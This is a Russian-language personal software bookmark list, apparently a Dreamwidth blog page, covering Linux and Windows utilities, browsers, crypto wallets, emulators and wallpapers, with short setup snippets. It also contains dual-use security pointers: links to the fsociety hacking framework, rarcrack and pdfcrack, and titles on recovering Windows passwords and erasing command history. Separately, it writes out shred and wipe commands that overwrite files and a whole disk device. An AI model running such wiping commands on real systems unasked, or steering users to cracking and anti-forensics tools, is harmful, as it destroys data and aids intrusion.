https://gnustep.github.io/windows/installer.html
http://sharpe.sourceforge.net/Download.html
https://github.com/McYoloSwagHam/win3wm
https://github.com/fuhsjr00/bug.n
https://github.com/workspacer/workspacer
https://github.com/TimUntersberger/nog



среда рабочего стола часть 1

Soft
консольная подборка

линуксовые софтинки

https://nosystemd.org/

https://flathub.org/
https://snapcraft.io/
https://appimage.github.io/apps/
https://github.com/ostreedev/ostree
https://prism-break.org/ru/categories/gnu-linux/

системные утилиты
память: earlyoom zram-config
песочница: firejail

configure-debian command-not-found
мониторинг: wireshark tcpdump wavemon lshw atop hping3 inxi neofetch ncdu nmon htop sysstat tcpdump pstree iptraf ntopng iftop ngrep
shelltool cmdtool

эмуляторы терминала
hotwire tilix terminator sakura lilyterm tabby xonsh


дисковые
whdd badblocks gparted
https://www.r-studio.com/ru/free-linux-recovery/
https://www.cgsecurity.org/wiki/TestDisk_Download
https://github.com/whdd/whdd
https://dmde.ru/
http://www.hddsuperclone.com/

файловые
файловый менеджер
krusader dolphin konqueror nautilus nemo thunar pcmanfm zzzfm sunflower rox-filer doublecmd qtfm emelfm2 tkdesk mc lfm sfbm

архиваторы: file-roller peazip
https://github.com/samyk/rarcrack
утилиты: pup-volume-monitor

usb
Ventoy WoeUSB WoeUSB-ng ROSA_ImageWriter
https://github.com/jsamr/bootiso (терминальный)

cdrom
https://cdemu.sourceforge.io/


desktop
утилиты
тайлинг: qtile (WM) pytule xtile
композитор: picom xcompmgr compton
управлялки: xdotool autokey ctrlwm wmctrl xwinmosaic vdesk
x2x
xkill
моник: fbset xrandr arandr lxrandr autorandr xlayoutdisplay brightnessctl magnus
клава: fbxkb xmodmap
принтер: cups xsane
webcamera: droidcam
вывод инфы: screenfetch neofetch Xfdashboard
скриншот: scrot

menu
dmenu rofi ulauncher xlunch pdmenu gmrun menutray xlunch fbmenugen obmenu-generator jgmenu mygtkmenu xmenud menumaker xdgmenumaker Whisker Menu

panel bar
plank perlpanel wbar bbdock fbpanel hpanel qtpanel bmpanel bmpanel2 adesk adeskbar adeskmenu avant-window-navigator polybar stalonetray taskbar

буффер обмена
clipit xclip xsel xfce4-clipman
https://github.com/hluk/CopyQ


безопасность
Инструменты Kali Linux

VeraCrypt gpg seahorse keepassxc cryptomator cryfs
https://github.com/Manisso/fsociety

мониторинг: wireshark tcpdump wavemon lshw atop hping3
etherape если "invalid cast from 'GtkLabel' to 'GnomeCanvas'" то apt-get install libgnomeui-0

Timeshift защищает вашу систему, делая инкрементальные снимки файловой системы через регулярные промежутки времени
https://github.com/teejee2008/timeshift

восстановление удалённых файлов: photorec extundelete scalpel foremost

безопасное удаление
wipe -rfi /path/to/директория/

файл
shred -u /path/to/file
shred -u -n 35 -z /path/to/file1 /path/to/file2 /path/to/file3
shred -u -z *.txt

диск
shred --iterations 3 -z -v /dev/sdd1
--iterations 3 - 3 прохода;
-z - шлифануть дополнительно нулями (чтобы скрыть факт зачистки);
-v - ход процесса;
-n - количество перезаписи

https://github.com/samyk/rarcrack

разработка
https://www.hex-rays.com/products/ida/support/download_freeware.shtml
редакторы текста
IEP sublimetext CudaText textadept wxmedit scite
suplemon
заменить в suplemon/suplemon/modules/crypt.py 'from Crypto' на 'from Cryptodome'

l3afpad focuswriter

bokken
hexdump hexedit ghex bless ImHex
radiff2 diffuse meld
sttr
HeildiSQL


https://docs.dust3d.org/en/latest/install.html
http://www.draftsight.com/download-linux-ubuntu

интернет
браузеры
thorium ungoogled-chromium min qutebrowser
librefox waterfox librewolf seamonkey
qtweb nyxt luakit

qutebrowser
https://www.linux.org.ru/gallery/screenshots/17451995?cid=17452598
в браузере уже есть встроеный блокировщик рекламы - надо только базы обновить, жмешь по очереди : Tab Enter все базы обновлены




RSS
miniflux


скачивание
rtmpdump youtube-dl yt-dlp you-get ytfzf streamlink
aria2 axel wpull
qbittorrent transmission deluge rtorrent ctorrent
tribler

звонки, видео чаты, переписка
sflphone-gnome zoiper3 mumble
https://discordapp.com/
https://tox.chat/clients.html
https://jami.net/ (аналог skype)
https://dino.im/ (аналог skype чат-клиент Jabber/XMPP )
https://element.io/


https://keybase.io/ ( безопасный обмен сообщениями и файлами.)
https://github.com/rustdesk/rustdesk/ (аналог TeamViewer.)


office
https://gitlab.com/mayan-edms/mayan-edms
https://github.com/zhoubear/open-paperless

pdf djvu fb2
okular qpdfview zathura djview4 llpp fbless fbpdf jfbview fbgs fbida fim
koreader foliate fbreader coolreader mobi
pip3 install epy-reader
pdfcrack exiftool

переводчики
https://github.com/argosopentech/argos-translate
https://crow-translate.github.io/es/
https://github.com/soimort/translate-shell
https://github.com/Dushistov/sdcv
https://github.com/pot-app/pot-desktop

шрифты:               font-manager
распознавалка текста: cuneiform tesseract
будильник:            ding


видео
видеомонтаж: cinelerra
скринкастинг: vokoscreen-ng recordmydesktop obs-studio
Скринкастинг в Linux (FFmpeg)
передача потока: streamlink

adobe flash
https://archive.org/download/standalone_flash_players
https://archive.org/search.php?query=subject%3A%22flash+player%22&page=2
https://archive.org/download/adobe-flash-player-32-for-various-systems-and-flash-lite-pdfs.

аудио
плееры: mpv moc exo mpd ncmpcpp sonata gimmix gmusicbrowser cantata xmms2 ario
audacious deadbeef
радио: curseradio radiotray-lite
микшеры: pavucontrol volwheel
https://katamotz.net/katahots/ (текст в аудио)
https://github.com/pot-app/pot-desktop
https://github.com/gkarsay/parlatype (аудио в текст)
https://github.com/openai/whisper

графика
nitrogen feh fim fbgrab
azpainter mtpaint lazpaint xnviewmp webp ristretto
gimp inkscape krita pinta


ИИ
https://github.com/aandrew-me/tgpt
https://github.com/dylanjcastillo/shell-genie
https://github.com/szczyglis-dev/py-gpt
https://github.com/LAION-AI/Open-Assistant

Кошельки
https://bitpay.com/
https://coin.space/bitcoin-wallet/
https://blockstream.com/green/
https://jaxx.io/downloads
https://mymonero.com/
https://samouraiwallet.com/download
https://www.bitcoinarmory.com/download/
https://atomicwallet.io/#download-block
https://bitcoincore.org/en/download/
https://bither.net/linux64/
https://electrum.org/#download
https://www.exodus.com/download/
https://github.com/dashpay/dash
https://www.coinomi.com/en/downloads/
https://gnosis-safe.io/
https://guarda.com/desktop/
https://www.mycrypto.com/
https://www.ledger.com/ledger-live/download
https://trezor.io/start/
https://ton.org/wallets

https://github.com/makevoid/paperbank

https://github.com/bluppfisk/coindicator

советы и ссылки
Вместо бубна: огромная подборка инструментов сисадмина
Более чем 80 средств мониторинга системы Linux

изменение времени файлов, удаление истории посещения и команд в linux

записать на флешку, софт для записи, ошибки при установке
возня с флешкой

Как установить глобальное меню и HUD в Xubuntu 18.04

настройка Thunar
добавление поиска файлов в PCManFm

Пересобираем mc с поддержкой samba
Настройка xdg-open под свой файловый менеджер
как изменить браузер в Thunderbird
как изменить приложения по умолчанию в debian

Скринкастинг в Linux (FFmpeg)
примеры конвертации с помощью ffmpeg
Извлекаем звуковую дорожку из видео-файла
конвертирования музыкальной библиотеки
Конвертация видеоформатов .mts или .m2ts в avi
Конвертирование видео G2M3/G2M4
Конвертирование ID3-тэгов в mp3-файлах с кодировки windows-1251 (cp1251) в utf-8
Восстановление видео файлов
Как убрать шум с аудиозаписи

работа с кодировкой файлов
работа с кодировками

Как установить Multimedia Playing Server (MPD)
Эквалайзер для MPD

скриншоты в иксах и консоли, разрешение экрана в tty
рабочий стол в консоли
почта в консоли mutt и msmtp
youtube-dl 4k video
как скачать видео, которое передаётся как rtmp-поток
Как получить прямую ссылку на музыку из ВКонтакте?
Пользовательские настройки Bash
командная строка в стиле DOS
Разноцветные терминалы
русификация gtk1
Gtk-WARNING **: Загружаемый модуль тем не найден в > module_path: "pixmap"

оптимизация pdf

Подсветка в nano
Idle Highlighting Themes
IEP тема оформления
делаем vim удобным
VIM как IDE для разработки на Python
Sublime Text 3 и консоль python

Установка Microsoft Office 2010 на Linux
Как активировать Microsoft Office 2010 на Linux
Конвертируем документы в Ubuntu

Краткая памятка по работе с архиваторами из консоли в Linux
Как стереть перезаписываемый диск из командной строки
Как создать ISO образ в Linux


Как создавать диалоговые блоки в интерактивных shell скриптах

Переводите любой выбранный текст с помощью комбинации клавиш и оповещений
Послеустановочный скрипт для Ubuntu/Linux mint
свежий LibreOffice
установка flashplugin для chromium 32 bits в Debian 8 Jessie
список плагинов для chrome
сборки chromium
FirefoxPortable


Связка ключей в Google Chrome и Chromium
https://chromium.googlesource.com/chromium/src.git/+/HEAD/docs/linux_password_storage.md
https://linuxthebest.net/svyazka-klyuchey-v-google-chrome-i-chromium/
sudo nano /usr/share/applications/google-chrome.desktop
sudo nano /usr/share/applications/chromium-browser.desktop
или
sudo nano /usr/share/applications/chromium.desktop
Exec=chromium-browser --password-store=basic %U
вместо Exec=/usr/bin/chromium %U


Устанавливаем Viber в Ubuntu и ее форках
https://zalinux.ru/?p=2163 [обновлено в 2023]
Установите зависимости:



Скачайте установочный пакет:
wget https://download.cdn.viber.com/cdn/desktop/Linux/viber.deb

Установите пакет:
sudo dpkg -i viber.deb

устарело
https://linuxthebest.net/kak-vse-taki-ustanovit-viber-v-debian-gnu-linux-i-ubuntu/
sudo dpkg -i viber.deb
sudo apt install -f
Она должна была бы доустановить недостающие зависимости, но сейчас просто удалит криво установленый Viber, потому что он нам ни к чему.

Открываем терминал в каталоге с пакетом «viber.deb» и поочередно выполняем:
dpkg-deb -x viber.deb viber
dpkg-deb --control viber.deb viber/DEBIAN

ищем в долгом списке после слова «Depends:» libcurl3 и перепечатываем на libcurl4
внимание — очень важный шаг, без которого метод не сработает. Обязательно нужно удалить пустую строку в этом же файле. Она прячется в самом конце. сохраните документ и вернитесь обратно в терминал
dpkg -b viber viberlibcurl4.deb

Менеджер dpkg создаст пакет «vibercurl4.deb». Теперь его можно установить любым способом. Например, так:
sudo dpkg -i viberlibcurl4.deb


Очистка Debian или Ubuntu от файлов, оставшихся после удаления пакетов

apt-get и виндовые прокси ( NTLM-proxy, MS Proxy Server ISA ...)
работа в консоли через прокси (wget и тд)

Массовое переименование в консоли
Удаление файлов без возможности восстановления в Linux
Создание "неудаляемой" папки или файла в Linux
Шифрование разделов
Шифрование файлов
steghide - тайные послания, внедрить текст в рисунок
Временный swap

Debian 8 Jessie и 9 Stretch, напильник, рецепты
ubuntu 16.04 и напильник
Как установить deb-пакет в Arch Linux
обновление FreeBSD
UTF в консоли FreeBSD

Искусство командной строки
КОМАНДНАЯ СТРОКА. СПРАВОЧНИК АДМИНИСТРАТОРА
Соответствие команд MS DOS командам Linux
Искусство командной строки
Искусство программирования на языке сценариев командной оболочки

Памятка по управлению пакетами в Debian и Ubuntu
Yum, шпаргалка
Шпаргалка по управлению сервисами CentOS 7 с systemd
коротко об systemd
работа с сетевыми интерфейсами
установка сервера терминалов XRDP на Debian 9.
Установка xrdp на CentOS 7
Восстанавливаем свалившийся в busybox из-за ошибки initramfs Linux




виндовые софтинки
https://live.sysinternals.com/
https://technet.microsoft.com/ru-ru/sysinternals/pstools.aspx
https://technet.microsoft.com/ru-ru/sysinternals/processexplorer.aspx
https://download.sysinternals.com/files/ProcessExplorer.zip
https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
https://technet.microsoft.com/ru-ru/sysinternals/
ExtPart.exe

http://www.nirsoft.net/utils/nircmd.html
Commando VM: Windows для хакеров
Утилиты NirSoft для извлечения информации из Windows
Узнать ключ активации Windows

https://www.microsoft.com/ru-ru/store/apps
https://github.com/microsoft/winget-cli
https://appget.net/
https://appget.net/packages
Как Microsoft убила AppGet
https://chocolatey.org/

https://www.nliteos.com/
https://nsudo.m2team.org/ru-ru/Download.html
http://www.eusing.com/free_registry_cleaner/registry_cleaner.htm
https://geekuninstaller.com/ru/download
https://www.chuyu.me/en/index.html
http://www.steffengerlach.de/freeware/scn2.zip
https://virtuawin.sourceforge.io/
http://windowspager.sourceforge.net/
http://winlaunch.org/
https://ueli.app/#/
https://github.com/Open-Shell/Open-Shell-Menu
http://www.classicshell.net/

https://sourceforge.net/projects/myclip/
https://voidtools.com/ru-ru/
https://www.7-zip.org/
https://codecguide.com/
https://www.farmanager.com/
https://doublecmd.sourceforge.io/
http://www.dnosp.com/
https://conemu.github.io/
https://www.putty.org/
http://www.9bis.net/kitty/
https://www.autohotkey.com/
https://github.com/M2TeamArchived/NSudo

https://hdd.by/victoria.html
https://crystalmark.info/en/download/#CrystalDiskInfo

https://www.r-studio.com/ru/free-linux-recovery/
https://www.cgsecurity.org/wiki/TestDisk_Download
https://www.partitionwizard.com/download.html
http://www.pspad.com/ru/
https://notepad-plus-plus.org/
http://softvoile.com/flashnote/
https://www.sumatrapdfreader.org
https://mh-nexus.de/en/hxd/
http://www.winhex.com/winhex/
https://www.hex-rays.com/products/ida/support/download_freeware.shtml
http://nlcalc.narod.ru/
Process Killer

https://www.heidisql.com/download.php

Small CD Writer
https://www.exactaudiocopy.de/

https://www.getpaint.net/
https://www.xnview.com/en/xnviewmp/
https://www.faststone.org/FSViewerDetail.htm

https://mpc-hc.org/
https://codecguide.com/download_kl.htm
https://www.aimp.ru/
https://www.getmusicbee.com/
https://www.foobar2000.org/

http://links.twibright.com/download/binaries/win32/
JustCode
https://github.com/minbrowser/min/releases/
https://ftp.mozilla.org/pub/

https://keepassxc.org/download/#windows
https://www.veracrypt.fr/en/Downloads.html

TDSSKiller
https://ru.malwarebytes.com/adwcleaner/
http://z-oleg.com/secur/avz/download.php
https://free.drweb.ru/download+cureit+free/
https://www.anvir.net/

https://github.com/gorhill/uBlock/

RDP Wrapper Library by Stas'M
https://github.com/stascorp/rdpwrap/
https://web.archive.org/web/20200506092848/https://github.com/stascorp/rdpwrap
https://github.com/asmtron/rdpwrap/
https://gitlab.com/adam.lukaitis/rdpwrap
https://gitlab.com/artrojort/rdpwrap

https://lcc-win32.services.net/

https://cygwin.com/
https://msys2.github.io/
https://sourceforge.net/projects/mingw-w64/
https://gnuwin32.sourceforge.net/
https://unxutils.sourceforge.net/
https://win-bash.sourceforge.net/
https://frippery.org/busybox/
https://sourceforge.net/projects/busybox-for-windows/
https://github.com/bmatzelle/gow/

https://www.msys2.org/
http://www.mingw.org/
https://mingw-w64.org/doku.php
Установка MinGW/MSYS и настройка окружения для разработчика
Установка MinGW/MSYS и настройка окружения для разработчика часть 1
Установка MinGW/MSYS и настройка окружения для разработчика часть 2
Установка MinGW/MSYS и настройка окружения для разработчика часть 3

Установка Cygwin для Windows


https://prism-break.org/ru/categories/windows/
https://nsis.sourceforge.io/Main_Page

Log Parser
Log Parser Studio

доступ к Интернету и службе Центра обновления Windows в более ранних версиях Windows
https://legacyupdate.net/

софт для windows XP
https://github.com/zachflower/awesome-windows-xp

браузер на основе chromium для windows XP
https://win32subsystem.live/supermium/
https://github.com/win32ss/supermium


16ти разрядные под win 64
http://www.dosemu.org/
https://github.com/dosemu2/dosemu2
https://www.dosbox.com/
https://github.com/dosbox-staging/dosbox-staging

http://www.vdosplus.org/
http://vdosplus.org/files/vDosPlus-201511.zip
http://www.vdosplus.org/tips.htm?tip5
https://www.ibiblio.org/pub/micro/pc-stuff/freedos/files/dos/xkeyb/xkeyb/xkeyb19x.zip
распаковать в папку vDosPlus, добавить путь в файле vDosPlus\autoexec в параметре %PATH

C:\xkeyb19x;

также добавить туда диски и сетевые пути, типа

USE T: \\tsclient\tmp
USE F: C:\DOS\GAMES

https://sfwriter.com/ws-vdos.htm#fonts
скопировать шрифты consola или lucon из C:\Windows\Fonts в папку vDosPlus, затем вписать в файл vDosPlus\config эти строки

WP = WS
FONT = CONSOLA


https://github.com/otya128/winevdm
https://github.com/leecher1337/ntvdmx64
https://vdos.info/
http://takeda-toshiya.my.coocan.jp/msdos/


http://downloadarchive.documentfoundation.org/libreoffice/old/

Быстрый поиск драйверов на сайте Microsoft
Как сменить язык вода пароля при входе в систему windows
Сброс или изменение пароля Windows с помошью Linux
Как УЗНАТЬ пароль Windows?
Удаление неудаляемых веток реестра
Обход ограничений FAT32/NTFS
Создание символьной ссылки для папки в Windows 8.1, 8, 7, Vista
dd for windows

Список команд Windows ( Windows CMD )
оснастки командной строки windows
Консольные команды windows rundll32
Настройка командной строки Windows.
консольная подборка


скины

https://skins.webamp.org/
https://archive.org/details/winampskins


обои
xsetroot -mod 15 15 -fg rgb:4/4/4 -bg rgb:1/1/1

просмотр и конвертация .webp
sudo apt-get install webp
for i in `find . -iname "*.webp"`; do dwebp $i -o $i.png; rm $i; done
find . -type f | sed 'p;s:.webp.:.:' | xargs -n2 mv

https://www.reddit.com/r/EarthPorn/
https://www.pling.com/browse?cat=295
https://www.nasa.gov/multimedia/imagegallery/index.html
https://www.astrobin.com/users/Wolfgang-Promper/
https://pxhere.com/
https://www.pinterest.ru/
https://www.deviantart.com/aeon-lux/gallery
https://www.deviantart.com/leohao73/gallery/all
https://www.artstation.com/grivetart
https://www.artstation.com/pao
https://www.eve-wallpaper.com/latest
https://www.perrikschelatphotography.com/browse
https://www.flickr.com/photos/113243238@N08/
https://www.flickr.com/photos/gregor_samsa/albums/72157712825456666
http://saitprofoto.rasfokus.ru/photos/best
https://fotografersha.livejournal.com/1147526.html
https://thanhphatbn.com/vi-ai-cung-can-desktop-an-tuong-moi-anh-em-tai-bo-suu-tap-hinh-nen-phong-cach-steampunk-cuc-chat
https://interfacelift.com/wallpaper/downloads/date/any/
http://nordtrails.com/galleries/
https://35photo.pro/korolevsergey/
https://35photo.pro/aleksey1965
https://35photo.pro/ryabkovvladimir/
https://www.drive2.ru/users/andreyenkin/
http://anpash.ru/
https://wallpapercave.com/denali-national-park-and-preserve-wallpapers
https://wallpapersafari.com/
https://www.peakpx.com/en/search?q=landscape
https://www.desktopbackground.org/
https://pibig.info/priroda/
https://kartinkin.net/pics/priroda/
https://ru.wallpapers-fenix.eu/
https://github.com/Minda1975/My-wallpapers/tree/master/Space
http://www.old-hard.ru/articles/old_windows_wallpapers_and_screensavers
https://packages.altlinux.org/ru/search?branch=p9&query=photo+wallpapers
http://git.altlinux.org/srpms/w/
https://github.com/LinuxKits/Distro-wallpapers/
https://www.wallpaperflare.com/
https://www.wallpaperbetter.com/en/hd-wallpaper-etfdz
https://www.wallpapertip.com/wpic/mTooox_debian-gnu-linux/

https://habr.com/ru/company/vdsina/blog/552536/
xsetroot -gray
convert -size 1920x1080 pattern:gray50 wallpaper.png

wget -O - -q reddit.com/r/EarthPorn.json | jq '.data.children[] |.data.url' | xargs feh
wget -O - -q reddit.com/r/earthporn.json | jq '.data.children[] |.data.url' | tail -1 | xargs feh --bg-fill
wget -O - -q reddit.com/r/earthporn.json | jq '.data.children[] |.data.url' | head -3 | tail -1 | xargs feh --bg-fill
exec $(wget -O - -q reddit.com/r/earthporn.json | jq '.data.children[] |.data.url' | head -3 | tail -1 | xargs feh --bg-scale)



Profile

uzverss: (Default)
uzverss

December 2024

S M T W T F S
12345 67
891011121314
15161718192021
22232425262728
293031    

Syndicate

RSS Atom

Most Popular Tags

Style Credit

Expand Cut Tags

No cut tags
Page generated Jun. 29th, 2025 10:41 pm
Powered by Dreamwidth Studios